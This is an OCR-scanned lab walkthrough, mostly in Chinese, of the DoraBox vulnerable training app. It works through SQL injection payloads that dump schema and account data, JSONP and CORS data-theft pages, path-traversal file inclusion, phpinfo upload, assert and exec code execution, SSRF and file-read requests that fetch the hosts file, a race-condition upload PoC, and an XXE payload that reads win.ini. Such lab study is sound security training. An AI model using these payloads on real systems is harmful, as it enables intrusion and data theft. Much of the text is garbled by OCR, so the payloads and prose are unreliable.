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SQLiiEf): SELECT * FROM news WHERE id = -1 union select 1,2,3
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id: | | submit

SQLiiESR]: SELECT * FROM news WHERE id = -1 union select 1,database(),user()
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‘pentest ‘root@ localhost
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SQLijEfA]): SELECT * FROM news WHERE id = -1 union select 1,2,group concat(table name) from information schema.tables where table schema=database()

e AT

2 account,news

id:[ | submit

SQLiiEA): SELECT * FROM news WHERE id = -1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="account’

fimet s
,T Id,rest,own
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SQLi{Ef]: SELECT * FROM news WHERE id = -1 union select 1,2,group concat(column name) from information schema.columns where table name="news’

el |9
2 |id title,content
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SQLiiEfa): SELECT * FROM news WHERE id = -1 union select 1,2,group concat(id, ~" title,'~",content) from news limit 0,1

i [
|2 |1 ~DoraBox~DoraBox is very good.,2~MstLab~MstLab are very cool.

id: | | submit

SQLijEEG): SELECT * FROM news WHERE id = -1 union select 1,2,group_concat(id,'~" rest,'~",own) from account

g
2 [1~1-666

TRE



1’ or “0’="1711° or “I’="23| W7 L FZETEN
[E#E Forder by 7 B Z B BUONS, W AT WIEA W BT W B HE
title: | | submit |

SQLiEA]): SELECT * FROM news WHERE title="1" union select 1,database(),user()#'
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content: | | submit

SQLiiEf]: SELECT * FROM news WHERE content like '%1%" union select 1,database(),user()#%'
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‘pentest"root@localhost‘
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< IDOCTYPE html>

<meta charset="utf-8">
<title>JSONPEIFFMA</title>

<script type="text/javascript">
function test(result)

{

alert(result.address);

}

</script>

<script type="text/javascript" src="http://www.test.com/csrf/jsonp.php?callback=test"></script>

@ DoraBox - ZEEIREREML X () ISONPEE x +

& X (@ #=== | dorabox.com:8001/csrf/1.html r
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< IDOCTYPE html>

<meta charset="UTF-8">
<title>Ajax</title>

xhr = new XMLHttpRequest();

.responseType = "text";

.open('GET', '/csrf/userinfo.php', true);

.onreadystatechange= function(e) {
if(this.status == 200){
alert(this.responseText);
¥
¥

xhr.send();

Vi I 43 B T
< C ® F=== | dorabox.com:8001/csrf/Lhtmi % O

dorabox.com:8001 B~

-
I
AJ ax 1 {"username™:"Vulkey_Chen”,"mobilephone”:"13188888888" "email”
"admin@ghOst.cn®,”
address™:"\wde2d\wS34e\udebatubc 11517 NS48 0u56fd", "sex ™"

Cool Man"}
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XERZEBEECEMEF TR T —Metx ttSUHF, MINEE T text.tt Fphpinfo, FAyFix BIFEEHZWindows, IRz
linux ¥ #1135 7] LA St fetc/passwd B 4T £ &

<« C @ F=2£ | dorabox.com:8001/file_include/any_include.php?file=C%3A%2Ftest.tct&submit=submit
file: [ Y st

Php

HZXRBH X HaE
XEMBAATBEMAREZE . ResAMANBERGES B3, .. .. .. ). ). testixtA] LLE BRI EE BHir 0, Wi

System Windows NT KYRIE-PC 6.1 build 7601 (Windows 7 Ultimate Edition Service Pack 1) AMD64

Build Date Apr 2 2019 21:50:57

Compiler MSVC15 (Misual C++ 2017)

Architecture x64

Configure Command cseript fnologa configure,s *--enable-snapshot-build” *--enable-debug-pack” *--disable-zts" "--with-
pdo-cci=ci\php-snap-build\deps_aux\oracle\x64\instantclient_12_1\sdk shared with-oci8-12c=ci\php-
snap-buildideps_aux\oracle\x64\instantclient_12_1\sdk shared" "--enable-object-out-dir=../obj/" "--
enable-com-dotnet=shared” "--without-analyzer® *--with-pgo”

Server AP1 CGI/FastCGI

Virtual Directory Support disabled

Configuration File (php.ini) Path C:A\Windows

Loaded ion File Ci\pl ly_pro\Extensions\php\php7.3.4nts\php.ini

Scan this dir for additional .ini files (none)

Additional .ini files parsed (none)

PHP APl 20180731

PHP Extension 20120731

Zend Extension 320180731

Zend Extension Build API320180731,NTS,VC15

PHP Extension Build API20180731,NTS,VC15

Debug Build no

Thread safety disabled

RLinuxa] LE XS .../.../..[1...]...1...].. letc/passwd i 4T & .

&« C A F==% | dorabox.com:8001/file_include/include_1.php?file=.%2F.%2F..%2F..%2F..%2F .%2F..%2F..%2F .%2F..%2F .%2Ftest.bx&submit=submit

lle: [rdoddod b d d ] d ftestbet | submit |
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Php

System Windows NT KYRIE-PC 6.1 build 7601 (Windows 7 Ultimate Edition Service Pack 1) AMD64

Build Date Apr 2 2019 21:50:57

Compiler MSVC15 (Visual C++ 2017)

Architecture %54

Configure Command escript /nologo configurejs “--enable-snapshot-build” *--enable-debug-pack” *--disable-zts" "--with-
pdo-oci=c\php-snap-build\deps_aux\cracle\x64\instantclient_12_1\sdk shared" "--with-oci8-12c=c\php-
snap-build\deps_aux\oracle\x6d\instantclient_12_1\sdk shared” *--enable-object-out-dir=../obj/* "
enable-com-dotnet=shared” "--without-analyzer" *--with-pgo”

Server API CGI/FastCGI

Virtual Directory Support disabled

Configuration File (php.ini) Path C:\Windows

Loaded Configuration File Ci\pt dy_pro\E ions\php\php7.3.4nts\php.ini

Scan this dir for additional .ini files (none)

files parsed (none)

20180731
20180731

Zend Extension 320180731

Zend Extension Build API320180731,NTSVC15

PHP Extension Build API20180731,NTS,VC15

Debug Build no

Thread Safety disabled

Zend Signal Handling disabled

Zend Memory Manager enabled

Zend Multibyte Support provided by mbstring

IPv6 Support enabled
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DoraBox - X L& RiRRREE-- = &6
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Upload: phpinfo.php

Type: application/octet-stream

Size: 0.017578125 Kb

Stored in: upload/phpinfo.php

| PHP 7.3.4 - phpinfo() x  +

C ® F== | dorabox.com:8001/file_upload/upload/phpinfo.php

JSKR i 3L b A%

php

System Windows NT KYRIE-PC 6.1 build 7601 (Windows 7 Ultimate Edition Service Pack 1) AMD64

Build Date Apr 2 2019 21:50:57

Compiler MSVC15 (Visual C++ 2017)

Architecture %64

Configure Command cscript /nologo configurejs “--enable-snapshot-build” "--enable-debug-pack” "--disable-zts" "--with-
pdo-oci=ci\php-snap-build\deps_aux\oracle\x64\instantclient_12_1\sdk,shared" "--with-oci8-12c=c:\php-
snap-build\deps_auoracle\x64\instantclient_12_1\sdk shared" *~-enable-object-out-dir=.fobj/" "~
enable-com-dotnet=shared” "--withaut-analyzer “--with-pgo”

Server APL CGI/FastCGI

Virtual Directory Support disabled

Configuration File (php.ini) Path C:AWindows

Loaded Configuration File

Ci\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini

Scan this dir for additional .ini files

(none)

Additional .ini files parsed (none)

PHP API 20180731

PHP Extension 20180731

Zend Extension 320180731

Zend Extension Build API320180731,NTS VC15
PHP Extension Build API20180731 NTS VC15
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HERRBEHIAT

FTHEBRIS AR K Zassert(), 2% WHKGREE, RN FZR B NS4 4 R PHPR D HAT
X B H B A\ phpinfo() 4 X fEARESHAAT

= C @ #==2 | dorabox.com:8001/code_exec/code.php?code=phpinfo%28%29&submit=submit

ade: | | submit |

System Windows NT KYRIE-PC 6.1 build 7601 (Windows 7 Ultimate Edition Service
AMDo64

Build Date Feb 52014 10:59:06
Compiler MSWC11 (Visual C++ 2012)
Architecture |x54

Configure cscript /nologo configure,js "--enable-snapshot-build® "--enable-debug-pe
Command disable-zts" "--disable-isapi® "--disable-nsapi® "--without-mssql” *--withou
mssql" "--without-pi3web® "--with-pdo-oci=Ci\php-
sdkoracle\instantclient10\sdk shared” *--with-oci8=C:\php-
sdk\oracle\instantclient10\sdk shared” "--with-oci8-11g=Ci\php-
sdldoracle\instantclientll\sdk shared” "--with-enchant=shared” "--enable-
dir=../obj/" "--enable-com-dotnet=shared” *--with-mcrypt=static* "--disak
analyze” *--with-pgo”

Server API CGI/FastCGI

Virtual disabled

Directory
Support

HERwLHAT

XA RENE T T AR R IA K Rexec() R E, XANMRBHEMRNMBLER, RERITERKRE 1T
XEBMEA Tipconfighr4, W LAEERE T HATERKRE—1T

@ DoraBox - EEZM/AKE . X @ DoraBox - #SHUT x +
< C @ F== | dorabox.com:8001/code_exec/exec.php?command=ipconfig&submit=submit
command: | | submit |

BARARGEE—T, HRMRPT -EEAXHHFSERNEERAITHET
SSRF



E T IR RO Ffile_get contentsSRIRERE, XA R AT AR P W I ST, [RIB 0 mT AT Frur, 387 i 20 A ) 6 i 1 3
TR

A Hhhosts SC 4

@ DoraBox - EEZIRAMIS . - X @ DoraBox - RETXSS X +

< C ® F===% | dorabox.com:8001/ssrf/ssrf.php?url="file%3A%2F%2Fc%3A%5Cwindows%5Csystem32%5Cdrivers?5Cetc%5Chosts&submit=submit
url: ‘ [ submit ]

# Copyright (c) 1993-2009 Microsoft Corp. # # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. # # This file contains the mappings of IP addresse
should # be placed in the first column followed by the corresponding host name. # The IP address and the host name should be separated by at least one # space.
following the machine name denoted by a '#' symbol. # # For example: # # 102.54.94.97 rhino.acme.com # source server # 38.25.63.10 x.acme.com # x client host #
localhost 127.0.0.1 DoraBox 127.0.0.1 DoraBox.com 127.0.0.1 localhost

i Al 4h#url
—_ —_
@ DoraBox - EEEMERMES , 0 X @ DoraBox - REIXSS x +
< C @© F==% | dorabox.com:8001/ssrf/ssrf.php?url=https%3A%2F%2Fwww.baidu.com%2F&submit=sub... ¥ @
url: submit
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RIAEEFBAG D AN E, Bl R sl /EE 4 i pocH#E AT K
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| key.php 2020/8/21 15:13 PHP 3744 1 KB
| pay_poc.py 2020/8/21 14:43 PY St 1 KB
|-| upload poc.py 2020/8/21 15:46 PY 3Z4% 2 KB
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tputs(fopen("info.php™, "w"), "<?php

X BIE T E B poc B Murld ik 5Ch B CEENL K H bk

.url = "http:/

.uploadurl = '

BiTpoc kKM EEFET

=lle
] %| | %« race_condition » uploads - (¥4 || 2ZF uploads
&, d load +
Hi0 - B23EH - HE - FrEE e = ~ [
H BEAEANEE - =% i EEE: 2
info.php 2020/8/21 15:32 PH
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@ DoraBox - 2EZIEREMS, 0 X @ DoraBox - FileRead b4 =+ |£m
< C @ F== | dorabox.com:8001/athers/file_read.php?filename=C%3A%5CWindows3%5CSystem32%5Cdrivers¥sCetc... B ¥ O
ilename: | | submit |

* Copyright (c) 1993-2009 Microsoft Corp. # # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. # # This file contains
‘he mappings of IP addresses to host names. Each # entry should be kept on an individual line. The IP address should # be placed in
‘he first column followed by the corresponding host name. # The IP address and the host name should be separated by at least one #
;pace. # # Additionally, comments (such as these) may be inserted on individual # lines or following the machine name denoted by a
#' symbol. # # For example: # # 102.54.94.97 rhino.acme.com # source server # 38.25.63.10 x.acme.com # x client host # localhost
1ame resolution is handled within DNS itself. # 127.0.0.1 localhost # ::1 localhost 127.0.0.1 DoraBox 127.0.0.1 DoraBox.com 127.0.0.1

ocalhost

XXE
X B 5V 1 Eflogin. php SO R 2 H BLIXRE A R B,
& C ® ©O & 192.16856.101:8001/xxe, 28 <o 9| & IN D O 1 & & »

&8s FJtools [science FRitiEtX [3platform [ 2k ¢y #5K - lfAEF.. » [&EhgsEta

Warning: DOMDocument:loadXML(): Empty string supplied as input in C:\phpstudy pro
\WWW\DoraBox-master\xxe\login.php on line 11

Warning: simplexml import dom(): Invalid Nodetype to import in C:\phpstudy pro

\WWW\DoraBox-master\xxe\login.php on line 12
0

X Bl A iRk BlrequestB b, B 5 BTV Bl 57 T At AT DA L RS R 5 R B AR 55 8% X A S S



<IDOCTYPE a [
<IENTITY xxe SYSTEM "file:///c:/windows/win.ini" >

1>

<user><username>&xxe;</username><password>admin</password></user>

GET heeflogin.php HTTR/1 .1
Host 192.168.96.101:8001

User-Agent: Mozilla/a.0 (Windows MT 10.0; Wined, €64, rv79.0) Gecko/20100101 Firefox/79.0
Accept text/html applicationsxhtml+xml applicationsxml;q=0.9 image/webp ** q=0.8
Accept-Language: zh-Ch zh;q=0.8,zh-TW,;q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

<IDOCTYPE a |

<IENTITY xxe SYSTEM "filedffc /windows/win.ini" =

=

<Users<username:=&ee; </username=<password=admin</passward=</users

&« C @ © & 192.168.56.101:8001/xxe, B +o+ 1Y

ZIND o b & T

o » [ BaisE

); for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 [MCI
=xtensions.BAK] 3g2=MPEGVideo 3gp=MPEGVideo 3gp2=MPEGVideo 3gpp=MPEGVideo
3ac=MPEGVideo adt=MPEGVideo adts=MPEGVideo m2t=MPEGVideo m2ts=MPEGVideo

mn2v=MPEGVideo m4a=MPEGVideo m4v=MPEGVideo mod=

MPEGVideo mov=MPEGVidec

Mnp4=MPEGVideo mp4v=MPEGVideo mts=MPEGVideo ts=MPEGVideo tts=MPEGVideo
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